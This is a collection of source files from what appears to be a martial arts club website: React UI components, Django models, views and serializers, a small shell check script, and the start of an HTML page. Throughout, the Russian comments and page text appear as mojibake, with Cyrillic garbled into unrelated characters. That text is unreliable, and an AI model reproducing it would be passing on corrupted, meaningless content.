{\n return (\n React.createElement(\"label\", {\n className: this.state.className, \n onClick: this.handleClick\n }, \n React.createElement(\"input\", {\n type: \"radio\", \n ref: \"radio\", \n defaultChecked: this.state.checked}\n ), \n this.props.display\n )\n )\n },\n})\n\n\nvar CMCheckboxGroup = React.createClass({displayName: \"CMCheckboxGroup\",\n propTypes: {\n onChange: React.PropTypes.func,\n onClick: React.PropTypes.func,\n },\n getInitialState: function() {\n return {\n // ะััะพั†ะธะฐั‚ะธะฒะฝั‹ะน ะผะฐััะธะฒ ะฒัะตั… ะพะฟั€ะตะดะตะปััŽั‰ะธั… ะบะพะผะฟะพะฝะตะฝั‚ ะฐั‚ั€ะธะฑัƒั‚ะพะฒ\n componentState: {},\n }\n },\n // ะžะฑะฝะพะฒะปัะตะผ ะฐััะพั†ะธะฐั‚ะธะฒะฝั‹ะน ะผะฐััะธะฒ ะฒัะตั… ะพะฟั€ะตะดะตะปััŽั‰ะธั… ะบะพะผะฟะพะฝะตะฝั‚ ะฐั‚ั€ะธะฑัƒั‚ะพะฒ\n handleChange: function(key, value, obj) {\n var state = this.state.componentState\n state[key] = value\n this.setState({ componentState: state })\n\n // ะŸะตั€ะตะดะฐั‘ะผ ั€ะพะดะธั‚ะตะปัŽ ัะพัั‚ะพัะฝะธะต ะผะฐััะธะฒะฐ componentState\n if (typeof this.props.onChange === 'function') {\n this.props.onChange(state)\n }\n\n /*\n joinedState = joinAsTrue(state)\n //console.log('> ',joinedState)\n // ะŸั€ะพะฒะตั€ัะตะผ, ะฒั‹ะฑั€ะฐะฝ ะปะธ ั…ะพั‚ั ะฑั‹ ะพะดะธะฝ ะฐั‚ั€ะธะฑัƒั‚\n if (joinedState.length == 0) {\n console.log('ะะตะพะฑั…ะพะดะธะผะพ ะฒั‹ะฑั€ะฐั‚ัŒ ั…ะพั‚ั ะฑั‹ ะพะดะธะฝ ะฐั‚ั€ะธะฑัƒั‚')\n obj.setState({ checked: true })\n obj.setState({ className: \"btn btn-primary active\" })\n console.log(obj)\n React.findDOMNode(obj.refs.checkbox).checked = true\n } else {\n // ะŸะตั€ะตะดะฐั‘ะผ ั€ะพะดะธั‚ะตะปัŽ ัะพัั‚ะพัะฝะธะต ะผะฐััะธะฒะฐ componentState\n if (typeof this.props.onChange === 'function') {\n this.props.onChange(state)\n }\n }\n */\n },\n handleReClick: function(e) {\n //console.log(this.constructor.displayName,' > ',this.state.ComponentState)\n // ะŸะตั€ะตะดะฐั‘ะผ ะพะฑั€ะฐะฑะพั‚ะบัƒ ะบะปะธะบะฐ ั€ะพะดะธั‚ะตะปัŒัะบะพะผัƒ ะบะพะผะฟะพะฝะตะฝั‚ัƒ\n if (typeof this.props.onClick === 'function') {\n this.props.onClick(e)\n }\n },\n render: function() {\n var rows = []\n this.props.properties.forEach(function(prop, key) {\n // ะคะพั€ะผะธั€ัƒะตะผ ะผะฐััะธะฒ rows ะดะพั‡ะตั€ะฝะธั… ะบะพะผะฟะพะฝะตะฝั‚ะพะฒ\n rows.push(React.createElement(CMCheckboxButton, {\n key: key, \n display: prop.display, \n value: prop.value, \n checked: prop.checked, \n onChange: this.handleChange, \n onClick: this.handleReClick}\n ))\n }.bind(this))\n\n return (\n React.createElement(\"div\", {className: \"btn-group\", \"data-toggle\": \"buttons\"}, \n rows\n )\n )\n },\n})\n\n\nvar CMCheckboxButton = React.createClass({displayName: \"CMCheckboxButton\",\n propTypes: {\n value: React.PropTypes.string,\n display: React.PropTypes.string,\n checked: React.PropTypes.bool,\n onChange: React.PropTypes.func,\n onClick: React.PropTypes.func,\n },\n getDefaultProps: function() {\n return {\n value: '',\n display: '',\n checked: false,\n };\n },\n getInitialState: function() {\n var className = this.props.checked ? \"btn btn-primary active\" : \"btn btn-primary\"\n\n // ะŸะตั€ะตะดะฐั‘ะผ ั€ะพะดะธั‚ะตะปัŽ ัะพัั‚ะพัะฝะธะต ะฟะตั€ะตะผะตะฝะฝั‹ั… value ะธ checked\n if (typeof this.props.onChange === 'function') {\n this.props.onChange(this.props.value, this.props.checked, this)\n }\n\n return {\n checked: this.props.checked,\n className: className,\n }\n },\n handleClick: function(e) {\n var checked = this.state.checked ? false : true\n this.setState({ checked: checked })\n\n // ะŸะตั€ะตะดะฐั‘ะผ ั€ะพะดะธั‚ะตะปัŽ ัะพัั‚ะพัะฝะธะต ะฟะตั€ะตะผะตะฝะฝั‹ั… value ะธ checked\n if (typeof this.props.onChange === 'function') {\n this.props.onChange(this.props.value, checked, this)\n }\n\n // ะŸะตั€ะตะดะฐั‘ะผ ะพะฑั€ะฐะฑะพั‚ะบัƒ ะบะปะธะบะฐ ั€ะพะดะธั‚ะตะปัŒัะบะพะผัƒ ะบะพะผะฟะพะฝะตะฝั‚ัƒ\n if (typeof this.props.onClick === 'function') {\n this.props.onClick(e)\n }\n\n // ะžะฑะฝะพะฒะปัะตะผ ัั‚ะฐั‚ัƒั ั‡ะตะบะฑะพะบัะฐ\n React.findDOMNode(this.refs.checkbox).checked = checked\n },\n render: function() {\n return (\n React.createElement(\"label\", {\n className: this.state.className, \n onClick: this.handleClick\n }, \n React.createElement(\"input\", {\n type: \"checkbox\", \n ref: \"checkbox\", \n defaultChecked: this.state.checked}\n ), \n this.props.display\n )\n );\n }\n})\n\n\n" }, { "alpha_fraction": 0.7832840085029602, "alphanum_fraction": 0.7862426042556763, "avg_line_length": 31.829267501831055, "blob_id": "5073bbbc7f234ec44a5613036ddb703e9a54c25b", "content_id": "30c5103122d872372cd177df07c97f38b885fae8", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1396, "license_type": "permissive", "max_line_length": 63, "num_lines": 41, "path": "/zcore/views.py", "repo_name": "sergeysynergy/wmaclub", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom django.shortcuts import get_object_or_404, render\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.db import connections\n\nfrom rest_framework.authentication import SessionAuthentication\nfrom rest_framework.authentication import BasicAuthentication\nfrom rest_framework.permissions import IsAuthenticated\nfrom rest_framework.parsers import MultiPartParser\nfrom rest_framework.parsers import FormParser\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom rest_framework import generics\n\nfrom .models import News\nfrom .serializers import *\n\n\n# ะŸะพะดะณะพั‚ะพะบะฐ ะดะฐะฝะฝั‹ั… ะธ ะฒั‹ะทะพะฒ ั€ะตะฝะดะตั€ะธะฝะณะฐ ัˆะฐะฑะปะพะฝะฐ ะฒั‹ะฒะพะดะฐ index.html\ndef index(request):\n news = News.objects.order_by('-pk') \n context = {'news': news,}\n return render(request, 'zcore/index.html', context)\n\n\nclass NewsList(generics.ListCreateAPIView):\n queryset = News.objects.all()\n serializer_class = NewsSerializer\n\nclass NewsDetail(generics.RetrieveUpdateDestroyAPIView):\n queryset = News.objects.all()\n serializer_class = NewsSerializer\n \n\nclass FormsList(generics.ListCreateAPIView):\n queryset = Form.objects.all()\n serializer_class = FormsSerializer\n\nclass FormsDetail(generics.RetrieveUpdateDestroyAPIView):\n queryset = Form.objects.all()\n serializer_class = FormsSerializer\n \n\n" }, { "alpha_fraction": 0.469696968793869, "alphanum_fraction": 0.5, "avg_line_length": 9.333333015441895, "blob_id": "ca3b3e6eee5a8fd2c245c487b5c603b6090c1a0d", "content_id": "540c7eb44f2920024280583985503eaba5700934", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 66, "license_type": "permissive", "max_line_length": 24, "num_lines": 6, "path": "/syscheck/sh/check02.sh", "repo_name": "sergeysynergy/wmaclub", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\nname='Script check 2'\ncode=4\n\necho \"_\"$name\"_\"$code\"_\" \n\n\n\n" }, { "alpha_fraction": 0.5189231634140015, "alphanum_fraction": 0.5227528810501099, "avg_line_length": 28.300329208374023, "blob_id": "7c1d8e28b5a3fefdb0274d642dcad9d0911d08ed", "content_id": "eb76840efebfcd0a73512e81b8783ee78700040e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 9191, "license_type": "permissive", "max_line_length": 116, "num_lines": 303, "path": "/static/react/build/.module-cache/5c897922f89fe46bd4123f232d4cf8ab806962ba.js", "repo_name": "sergeysynergy/wmaclub", "src_encoding": "UTF-8", "text": "var Timeline = React.createClass({displayName: \"Timeline\",\n loadDataFromServer: function() {\n var gfilter = {\"options\":{\"rmzero\":\"true\",\"radius\":\"byDegree\"}}\n gfilter = encodeURIComponent(JSON.stringify(gfilter))\n $.ajax({\n // url ะฟะพ ะบะพั‚ะพั€ะพะผัƒ ะฝะฐ ัั‚ะพั€ะพะฝะต ัะตั€ะฒะตั€ะฐ ั„ะพั€ะผะธั€ัƒะตั‚ัั ะผะฐััะธะฒ ะฐั‚ั€ะธะฑัƒั‚ะพะฒ ัƒะทะปะพะฒ ะฒ ั„ะพั€ะผะฐั‚ะต json\n url: '/json-timeline/' + gid + '/' + gfilter + '/',\n dataType: 'json',\n cache: false,\n success: function(data) {\n //console.log(data.nodes[0])\n this.setState({nodes: data.nodes})\n }.bind(this),\n error: function(xhr, status, err) {\n console.error(this.props.url, status, err.toString())\n }.bind(this)\n })\n },\n getInitialState: function() {\n return {\n // ะััะพั†ะธะฐั‚ะธะฒะฝั‹ะน ะผะฐััะธะฒ ัะพัั‚ะพัะฝะธะน ะณั€ัƒะฟะฟั‹ ั‡ะตะบะฑะพะบัะพะฒ\n checkboxGroupState: {},\n\n // ะ’ั…ะพะดะฝะพะน ะผะฐััะธะฒ ะฐั‚ั€ัƒะฑัƒั‚ะพะฒ\n nodes: [],\n }\n },\n componentDidMount: function() {\n // ะŸะพะปัƒั‡ะฐะตะผ ะผะฐััะธะฒ ะฐั‚ั€ะธะฑัƒั‚ะพะฒ ั ัะตั€ะฒะตั€ะฐ ะฒ ั„ะพั€ะผะฐั‚ะต json\n this.loadDataFromServer()\n //console.log(Array.isArray(this.props.children)); // => true\n //console.log(this.props.children.length)\n },\n handleUpdate: function() {\n //console.log('timeline')\n },\n updateNodeBar: function() {\n number = React.Children.count(this.props.children)\n console.log(number)\n //console.log(React.findDOMNode(this.refs.theNodeBar))\n //React.findDOMNode(this.refs.theNodeBar).handleUpdate()\n //number React.Children.count(object NodeBar)\n var children = React.Children.map(this.props.children, function(child, i) {\n console.log('Setting width: ')\n //child.props.style = {width: (i*this.state.width)+'px'}\n return child\n }, this)\n },\n render: function() {\n var rows = []\n this.state.nodes.forEach(function(prop, key) {\n // ะคะพั€ะผะธั€ัƒะตะผ ะผะฐััะธะฒ rows ะดะพั‡ะตั€ะฝะธั… ะบะพะผะฟะพะฝะตะฝั‚ะพะฒ\n if (prop.transfers) {\n rows.push(React.createElement(NodeBar, {\n key: key, \n ref: \"theNodeBar\", \n reactKey: key, \n transfers: prop.transfers, \n transfersNumber: prop.transfersNumber}\n ))\n }\n }.bind(this))\n\n return (\n React.createElement(\"svg\", {\n width: \"1050\", \n height: \"380\", \n className: \"timeline\"\n }, \n React.createElement(MonthNav, {\n x: \"20\", \n y: \"340\", \n reClick: this.updateNodeBar}\n )\n )\n )\n },\n})\n\n\nvar NodeBar = React.createClass({displayName: \"NodeBar\",\n getDefaultProps: function() {\n return {\n height: 20,\n }\n },\n getInitialState: function() {\n var key = this.props.reactKey\n return {\n offset: key*this.props.height + key,\n //color: randcolor(),\n color: \"lightblue\",\n }\n },\n componentDidMount:function(){\n //console.log(this.getDOMNode())\n },\n handleUpdate: function() {\n console.log('nodebar',this.props.reactKey)\n },\n render: function() {\n var rows = []\n this.props.transfers.forEach(function(prop, key) {\n // ะคะพั€ะผะธั€ัƒะตะผ ะผะฐััะธะฒ rows ะดะพั‡ะตั€ะฝะธั… ะบะพะผะฟะพะฝะตะฝั‚ะพะฒ\n rows.push(React.createElement(MonthBar, {\n key: key, \n month: prop.month, \n number: prop.number}\n ))\n }.bind(this))\n\n return (\n React.createElement(\"g\", {className: \"node-bar\"}, \n React.createElement(\"rect\", {\n width: this.props.transfersNumber*20, \n height: this.props.height, \n y: this.state.offset, \n fill: this.state.color, \n className: \"transfers-number\", \n onClick: this.handleUpdate}\n ), \n rows\n )\n )\n },\n})\n\n\nvar MonthBar = React.createClass({displayName: \"MonthBar\",\n render: function() {\n return (\n React.createElement(\"div\", {className: \"month-bar\"}, \n this.props.month, \n \"-\", \n this.props.number\n )\n )\n },\n})\n\n\nvar MonthNav = React.createClass({displayName: \"MonthNav\",\n getInitialState: function() {\n return {\n months: '123456789'.split(''),\n }\n },\n componentDidMount: function() {\n //console.log(this.props.children.length)\n },\n handleClick: function() {\n console.log(this.props.children)\n console.log('handleclick')\n console.log(this.props.children.length)\n },\n render: function() {\n rows = []\n this.state.months.forEach(function(month, key) {\n rows.push(React.createElement(MonthNavUnit, {\n key: key, \n reactKey: key, \n reClick: this.props.reClick}\n ))\n }.bind(this))\n\n return (\n React.createElement(\"g\", {\n onClick: this.handleClick, \n transform: \"translate(\" + this.props.x + \",\" + this.props.y + \")\", \n className: \"month-nav\"\n }, \n React.createElement(\"div\", null), \n rows\n )\n )\n },\n})\n\n\nvar MonthNavUnit = React.createClass({displayName: \"MonthNavUnit\",\n getDefaultProps: function() {\n return {\n width: 40,\n height: 40,\n }\n },\n getInitialState: function() {\n var key = this.props.reactKey\n return {\n x: key*this.props.width + key*10,\n }\n },\n handleClick: function() {\n console.log('monthnavunit',this.props.reactKey)\n\n // ะŸะตั€ะตะดะฐั‘ะผ ะพะฑั€ะฐะฑะพั‚ะบัƒ ะบะปะธะบะฐ ั€ะพะดะธั‚ะตะปัŒัะบะพะผัƒ ะบะพะผะฟะพะฝะตะฝั‚ัƒ\n if (typeof this.props.reClick === 'function') {\n this.props.reClick()\n }\n },\n render: function() {\n return (\n React.createElement(\"rect\", {\n width: this.props.width, \n height: this.props.height, \n x: this.state.x}\n //onClick={this.handleClick}\n )\n )\n },\n})\n\n\nReact.render( React.createElement(Timeline, null), mountNode)\n\n\nvar GraphFilter = React.createClass({displayName: \"GraphFilter\",\n getInitialState: function() {\n\n return {\n }\n },\n handleSubmit: function(e) {\n //e.preventDefault()\n\n //this.setState({ filterNodes: nodesList }) \n \n // ะŸะตั€ะตั€ะธัะพะฒั‹ะฒะฐะตะผ ะณั€ะฐั„\n //this.graphUpdate() \n },\n render: function() {\n return (\n React.createElement(\"form\", {onSubmit: this.handleSubmit, ref: \"GraphFilterForm\"}, \n React.createElement(\"input\", {type: \"submit\", className: \"btn btn-warning\", value: \"ะžั‚ั„ะธะปัŒั‚ั€ะพะฒะฐั‚ัŒ\"})\n )\n )\n },\n})\n\n\nReact.render( React.createElement(GraphFilter, null), document.getElementById('graph-filter'))\n\n\nvar GenericWrapper = React.createClass({displayName: \"GenericWrapper\",\n componentDidMount: function() {\n console.log(Array.isArray(this.props.children)); // => true\n //console.log(this.props.children.length);\n },\n\n render: function() {\n return (\n React.createElement(\"div\", null, \n React.createElement(Chil, {title: \"one\"}), \n React.createElement(Chil, {title: \"two\"})\n )\n )\n }\n});\n\nvar Chil = React.createClass({displayName: \"Chil\",\n render: function() {\n return (\n React.createElement(\"div\", null, \n this.props.title\n )\n )\n },\n})\n\nvar ListItemWrapper = React.createClass({displayName: \"ListItemWrapper\",\n handleClick: function() {\n this.props.reClick()\n },\n render: function() {\n return React.createElement(\"li\", {onClick: this.handleClick}, this.props.data);\n },\n});\nvar MyComponent = React.createClass({displayName: \"MyComponent\",\n componentDidMount: function() {\n console.log(Array.isArray(this.props.children)); // => true\n //console.log(this.props.children.length);\n },\n handleClick: function() {\n console.log('re')\n },\n render: function() {\n var results = [\n {\"id\": \"1\",\"data\":\"one\"},\n {\"id\": \"2\",\"data\":\"two\"},\n ]\n return (\n React.createElement(\"ul\", null, \n results.map(function(result) {\n return React.createElement(ListItemWrapper, {key: result.id, ref: 'chil' + result.id, data: result.data, \n reClick: this.handleClick}\n );\n })\n )\n );\n }\n});\n\nReact.render( React.createElement(MyComponent, null), mountNode)\n" }, { "alpha_fraction": 0.7352941036224365, "alphanum_fraction": 0.7352941036224365, "avg_line_length": 20.25, "blob_id": "15599bfb1ca9ff0fa2989736231f143e9902b97c", "content_id": "15da04925978cd3b4180cbdec2449cb76f640e7d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 170, "license_type": "permissive", "max_line_length": 58, "num_lines": 8, "path": "/static/react/build/.module-cache/5247bbd67057f390f28dd7182e7a0d152372c790.js", "repo_name": "sergeysynergy/wmaclub", "src_encoding": "UTF-8", "text": "var MainMenu = React.createClass({displayName: \"MainMenu\",\n})\n\n\nReact.render(\n React.createElement(MainMenu, null), \n document.getElementById('newProjectFilter')\n)\n" }, { "alpha_fraction": 0.7419354915618896, "alphanum_fraction": 0.7419354915618896, "avg_line_length": 30, "blob_id": "a46c646d2ec3efa9aa6fab02cd3943786da83174", "content_id": "abce71e780f29c51628acfb3151939bbcdd82bac", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 62, "license_type": "permissive", "max_line_length": 58, "num_lines": 2, "path": "/static/react/build/.module-cache/49d09cb855e1c8b8e52ca61f71883b1f934a4471.js", "repo_name": "sergeysynergy/wmaclub", "src_encoding": "UTF-8", "text": "var MainMenu = React.createClass({displayName: \"MainMenu\",\n})\n" }, { "alpha_fraction": 0.6279069781303406, "alphanum_fraction": 0.6317829489707947, "avg_line_length": 22.363636016845703, "blob_id": "958660e21f9d7e4ee20b1d1014bfe8392f593dd5", "content_id": "c731bbbc6cd5eab2c604f578d35845941606bdbc", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 258, "license_type": "permissive", "max_line_length": 77, "num_lines": 11, "path": "/zcore/urls.py", "repo_name": "sergeysynergy/wmaclub", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom django.conf.urls import url\n\nfrom . import serializers\n\nurlpatterns = [\n\n #url(r'^heap-info/$', views.HeapInfo.as_view(), name='heapInfo'),\n #url(r'^json-news/$', serializers.NewsSerializer.as_view(), name='news'),\n \n]\n\n" }, { "alpha_fraction": 0.5541619062423706, "alphanum_fraction": 0.5621436834335327, "avg_line_length": 24.705883026123047, "blob_id": "425a30a08a3df21f620be92f6b4245a8bafd6591", "content_id": "d4d92ad550cad0e36c2a05532483595259eadf37", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 918, "license_type": "permissive", "max_line_length": 63, "num_lines": 34, "path": "/syscheck/views.py", "repo_name": "sergeysynergy/wmaclub", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nimport os\nimport subprocess\n\nfrom django.http import HttpResponse, HttpResponseRedirect\n\n\ndef basher(name, param):\n try:\n output = subprocess.Popen(\n [name, param],\n stdout=subprocess.PIPE\n ).communicate()[0]\n return str(output) \n\n except Exception as e:\n return str(\"ะžัˆะธะฑะบะฐ ะฟั€ะธ ะทะฐะฟัƒัะบะต ัะบั€ะธะฟั‚ะฐ: %s\" % (e))\n\n\ndef syscheck(request):\n data = \"ะ”ะธะฐะณะฝะพัั‚ะธะบะฐ ัะธัั‚ะตะผั‹\\n\"\n\n path = os.path.realpath(__file__)\n dir = path[0:path.rfind('/')+1] + 'sh/'\n for file in os.listdir(dir):\n if file.endswith(\".sh\"):\n zstr = basher(dir + str(file), '').split(\"_\")\n data += ('%s: %s\\n' % (zstr[1], zstr[2]))\n\n response = HttpResponse()\n response['Content-Type'] = \"text/javascript; charset=utf-8\"\n response.write(data)\n\n return response \n\n\n" }, { "alpha_fraction": 0.5357142686843872, "alphanum_fraction": 0.5357142686843872, "avg_line_length": 22.33333396911621, "blob_id": "7e1e948c0df42f47575a7eba15953ee5d1b7585c", "content_id": "7678b977628b059fa5149195cdf2c10e1b04b1ca", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 420, "license_type": "permissive", "max_line_length": 67, "num_lines": 18, "path": "/static/react/build/.module-cache/66cb2db0271411e928e7f7b22feff96ccbe0f059.js", "repo_name": "sergeysynergy/wmaclub", "src_encoding": "UTF-8", "text": "var MainMenu = React.createClass({displayName: \"MainMenu\",\n render: function() {\n return (\n React.createElement(\"div\", null, \n React.createElement(\"nav\", {\n className: \"navbar navbar-inverse navbar-fixed-top\"\n }\n )\n )\n );\n },\n})\n\n\nReact.render(\n React.createElement(MainMenu, null), \n document.getElementById('main-menu')\n)\n" }, { "alpha_fraction": 0.6096441149711609, "alphanum_fraction": 0.6280137896537781, "avg_line_length": 24.352941513061523, "blob_id": "4566d0b5715ddbd1f541d4d0ff8e507502cca1f6", "content_id": "c123087d121955d2413bcc207be73cf3661cfbe8", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 871, "license_type": "permissive", "max_line_length": 58, "num_lines": 34, "path": "/zcore/models.py", "repo_name": "sergeysynergy/wmaclub", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nimport json\n\nfrom django.db import models\nfrom django.db import connections\nfrom django.http import HttpResponse, HttpResponseRedirect\n\n\nclass News(models.Model):\n title = models.CharField(max_length=200, default='')\n body = models.TextField()\n\n def __str__(self):\n name = 'id_' + str(self.pk) + ': ' + self.title\n return name\n\nclass Form(models.Model):\n title = models.CharField(max_length=200, default='')\n e_mail = models.CharField(max_length=200, default='')\n phone = models.CharField(max_length=200, default='')\n body = models.TextField()\n\n def __str__(self):\n name = 'id_' + str(self.pk) + ': ' + self.title\n return name\n\n\"\"\"\nclass Node(models.Model):\n id = models.PositiveIntegerField()\n data = models.CharField(max_length=500)\n\n class Meta:\n abstract = True\n\"\"\" \n\n" }, { "alpha_fraction": 0.5673663020133972, "alphanum_fraction": 0.5680433511734009, "avg_line_length": 26.314815521240234, "blob_id": "07fcb05c751a40d8414b247462d82f0dead392e2", "content_id": "50ae29c2ff863e005f2e8d5cf8971545c037806e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1477, "license_type": "permissive", "max_line_length": 72, "num_lines": 54, "path": "/zcore/serializers.py", "repo_name": "sergeysynergy/wmaclub", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom django.forms import widgets\nfrom django.contrib.auth.models import User\nfrom rest_framework import serializers\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\n\nfrom .models import *\n\n\nclass NewsSerializer(serializers.ModelSerializer):\n class Meta:\n model = News\n fields = ('pk', 'title', 'body')\n order_by = 'pk'\n\n\nclass FormsSerializer(serializers.ModelSerializer):\n class Meta:\n model = Form\n fields = ('pk', 'title', 'e_mail', 'phone', 'body')\n order_by = 'pk'\n\n\n\"\"\"\nclass ObrProgressSerializer(serializers.ModelSerializer):\n indicator = ObrIndicatorSerializer(many=True, read_only=True)\n\n class Meta:\n model = Obr\n fields = ('pk', 'status', 'statusText', 'fileData', 'indicator')\n\n\nclass CamSerializer(serializers.ModelSerializer):\n class Meta:\n model = Cam\n fields = ('id',\n 'fileData', \n 'modelKamery',\n 'dataiVremjaSjomki',\n 'kolvoKadrovvRolike',\n 'kolvoStrok',\n 'kolvoTochekvStroke',\n 'temperaturnajaShkala',\n 'stepenChernoty',\n 'temperaturaFona',\n 'prozrachnostSredy',\n 'temperaturaSredy',\n 'distancijaSjomki',\n 'razmerPikselja',\n 'apertura',\n 'fokusnoeRasstojanie',\n )\n\"\"\"\n\n\n" }, { "alpha_fraction": 0.5564278960227966, "alphanum_fraction": 0.5694308280944824, "avg_line_length": 56.144859313964844, "blob_id": "852d24c501cf63692358a325c0f23370db9cdd11", "content_id": "0ef1b7da775fece65a604cf611321b3f16b83303", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 16521, "license_type": "permissive", "max_line_length": 644, "num_lines": 214, "path": "/static/html/dzudzucu.html", "repo_name": "sergeysynergy/wmaclub", "src_encoding": "UTF-8", "text": "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\n <title>ะ”ะถะธัƒ-ะ”ะถะธั‚ััƒ | ะšะปัƒะฑ ะฑะพะตะฒั‹ั… ะธัะบัƒััั‚ะฒ World Martial Arts</title>\n <meta name=\"description\" content=\"ะ”ะถะธัƒ ะดะถะธั‚ััƒ\">\n <meta name=\"viewport\" content=\"initialscale=1.0, width=device-width\" />\n\t<script src=\"jquery.js\"></script>\n\t<script src=\"bootstrap-collapse.js\"></script>\n <link rel=\"stylesheet\" href=\"main.css\">\n</head>\n\n<body>\n\t<div class=\"header\">\n <!-------------HEADER------------------>\n <div class=\"navbar navbar-inverse navbar-fixed-top\">\n <div class=\"navbar-inner\">\n <div class=\"container\"> <a class=\"btn btn-navbar\" data-toggle=\"collapse\" data-target=\".nav-collapse\"> <span class=\"icon-bar\"></span> <span class=\"icon-bar\"></span> <span class=\"icon-bar\"></span> </a> <a class=\"brand\" href=\"index.html\"><img src=\"img/logo-sm.png\" /></a>\n <div class=\"nav-collapse collapse\">\n <ul class=\"nav\">\n \t\t\t\t<li>+7 (499) 600 40 70</li>\n <li><a href=\"about.html\">ะœั‹</a></li>\n \t\t\t\t<li><a href=\"club.html\">ะšะปัƒะฑ</a></li>\n \t\t\t\t<li><a href=\"price.html\">ะกั‚ะพะธะผะพัั‚ัŒ</a></li>\n <li><a href=\"cafe-wma.html\">WMA ะบะฐั„ะต</a></li>\n <li><a href=\"blog.html\">ะ‘ะปะพะณ</a></li>\n \t\t\t\t<li><a href=\"index.html#map\">ะšะพะฝั‚ะฐะบั‚ั‹</a></li>\n \t\t\t\t<li><a href=\"#win1\">ะ—ะฐะฟะธััŒ ะฒ ะบะปัƒะฑ</a></li>\n \n </ul>\n </div>\n <!--/.nav-collapse -->\n </div>\n </div>\n </div>\n <!-------------/HEADER------------------>\n</div>\n\t\n\t<div class=\"clear\"></div>\n\t\n\t<article>\n\t\t<div class=\"inner\">\n\t\t\t<div class=\"full bggrey\">\n <div class=\"top-up-img\">\n <img alt=\"\" src=\"img/dzudzucu-big.jpg\" />\n <div class=\"wtm\">\n <h4>ะ”ะถะธัƒ-ะ”ะถะธั‚ััƒ</h4>\n </div>\n </div>\n\t\t\t\t<div class=\"two-thirds bgwhite\">\n\t\t\t\t\t<div class=\"b-card-big\">\n <div class=\"b-name-128\">\n <img alt=\"\" src=\"img/tulupov.jpg\" />\n <p>ะะฝะดั€ะตะน ะขัƒะปัƒะฟะพะฒ &#8211; ะธะฝัั‚ั€ัƒะบั‚ะพั€ ะฟะพ ะ”ะถะธัƒ-ะ”ะถะธั‚ััƒ.</p>\n </div>\n \n <div class=\"clear\"></div>\n \n <p class=\"serif-14\">ะ”ะถะธัƒ-ะ”ะถะธั‚ััƒ โ€“ ัั‚ะธะปัŒ ัะฟะพะฝัะบะธั… ัะฐะผัƒั€ะฐะตะฒ. ะ’ ะบะปัƒะฑะต WMA ัั‚ะพ ะฝะฐะฟั€ะฐะฒะปะตะฝะธะต ะฟั€ะตะฟะพะดะฐะตั‚ ะะฝะดั€ะตะน ะขัƒะปัƒะฟะพะฒ. ะ•ะณะพ ัƒั€ะฐะฒะฝะพะฒะตัˆะตะฝะฝะพัั‚ัŒ ะบะฐะบ ะฝะตะปัŒะทั ั‡ั‘ั‚ะบะพ ะดะตะผะพะฝัั‚ั€ะธั€ัƒะตั‚ ัั‚ะธะปัŒ, ะบะพั‚ะพั€ะพะผัƒ ะพะฝ ะฟะพัะฒัั‚ะธะป ัะฒะพัŽ ะถะธะทะฝัŒ.</p>\n \n\t\t\t\t\t\t<p>ยซะขั€ะฐะฝัั„ะพั€ะผะฐั†ะธั ะฟั€ะพะธัั…ะพะดะธั‚ ั‚ะพะณะดะฐ, ะบะพะณะดะฐ ะผั‹ ะธะดะตะผ ั‡ะตั€ะตะท ะฟั€ะตะพะดะพะปะตะฝะธะต ัะตะฑั, ะบะพะณะดะฐ ะดะตะปะฐะตะผ ั‚ะพ, ะฝะฐ ั‡ั‚ะพ, ั ะฟะตั€ะฒะพะณะพ ะฒะทะณะปัะดะฐ, ะฝะฐะผ ะฝะต ั…ะฒะฐั‚ะธั‚ ัะธะปยป.</p> \n \n <p>ยซะ”ะถะธัƒ-ะ”ะถะธั‚ััƒ ั ัะฟะพะฝัะบะพะณะพ ะฟะตั€ะตะฒะพะดะธั‚ัั ะบะฐะบ ยซะœัะณะบะธะน ะผะตั‚ะพะดยป. ะ’ ะฝั‘ะผ ะฝะต ั‚ั€ะตะฑัƒัŽั‚ัั ัะฒะตั€ั…ัƒัะธะปะธั, ะฒ ะพัะฝะพะฒะฝะพะผ, ัƒัะฟะตั… ะดะพัั‚ะธะณะฐะตั‚ัั ะฒ ะฝะฐั…ะพะถะดะตะฝะธะธ ัะปะฐะฑั‹ั… ั‚ะพั‡ะตะบ ะฟั€ะพั‚ะธะฒะฝะธะบะฐ. ะ”ะปั ะพัะฒะพะตะฝะธั ะพะดะฝะพะน ั‚ะตั…ะฝะธะบะธ ั‚ั€ะตะฑัƒะตั‚ัั, ะบะฐะบ ะฟั€ะฐะฒะธะปะพ, ะฝะตัะบะพะปัŒะบะพ ะปะตั‚, ะฐ ั‡ั‚ะพะฑั‹ ะฟะพะฝัั‚ัŒ ะฒะตััŒ ัั‚ะธะปัŒ ะผะพะณัƒั‚ ัƒะนั‚ะธ ะธ 